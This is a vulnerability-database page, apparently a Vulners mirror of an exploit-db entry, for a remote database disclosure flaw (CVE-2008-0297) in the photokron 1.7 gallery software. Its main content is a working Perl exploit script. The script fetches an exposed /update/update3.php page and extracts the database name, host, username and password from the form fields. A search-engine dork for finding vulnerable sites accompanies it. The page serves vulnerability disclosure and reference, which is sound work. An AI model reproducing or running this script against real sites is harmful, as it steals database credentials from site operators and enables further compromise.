Lucene search
+L

photokron 1.7 - Remote Database Disclosure

🗓️ 11 Jan 2008 00:00:00Reported by Pr0metheuSType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Remote Database Disclosure in photokron 1.7 through /update/

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2008-0297
16 Jan 200822:00
cve
Cvelist
CVE-2008-0297
16 Jan 200822:00
cvelist
EUVD
EUVD-2008-0308
7 Oct 202500:30
euvd
NVD
CVE-2008-0297
16 Jan 200823:00
nvd
Prion
Design/Logic Flaw
16 Jan 200823:00
prion
#!/usr/bin/perl
#Script : PhotoKron All Version
#All Version
#Author : Pr0metheuS
#Gr33tz to Gr33tz-Team
#Gr33tz-Team.ORG
#Dork : "Powered by photokorn"
### INFO ##
# Works IF /update/ is on server...60% site are vulnerable....
## INFO ##
use LWP::UserAgent;
if (@ARGV!=2) {
	print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
    print "PhotoKorn Remote Database Info\n";
    print "by Pr0metheuS\n";
    print "perl $0 <site> <path>\n";
	print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
}
(my $site,my $path)=@ARGV;
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => "".$site."".$path."/update/update3.php");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
my $con = $res->content;
if ($res->is_success) {
	print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
    print "PhotoKorn Remote Database Info\n";
    print "by Pr0metheuS\n\n";

if($con =~ /<input type="text" value="(.*)" name="dbname">/){
	$dbname = $1;
	print "[+] DBNAME : $dbname\n";
}
if($con =~ /<input type="text" value="(.*)" name="dbhost">/){
	$dbhost = $1;
	print "[+] DBHOST : $dbhost\n";
}
if($con =~ /<input type="text" value="(.*)" name="dbusername"><\/td>/){
	$dbuser = $1;
	print "[+] DBUSER : $dbuser\n";
}
if($con =~ /<input type="password" value="(.*)" name="dbpassword"><\/td>/){
	$dbpass = $1;
	print "[+] DBPASSWORD : $dbpass\n";
}
print "-=-=-=-=-=-=-=-=-=-=-=--=\n";



}
else{
	print "[+] Exploit Failed...\n";
}

# milw0rm.com [2008-01-11]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.02704
36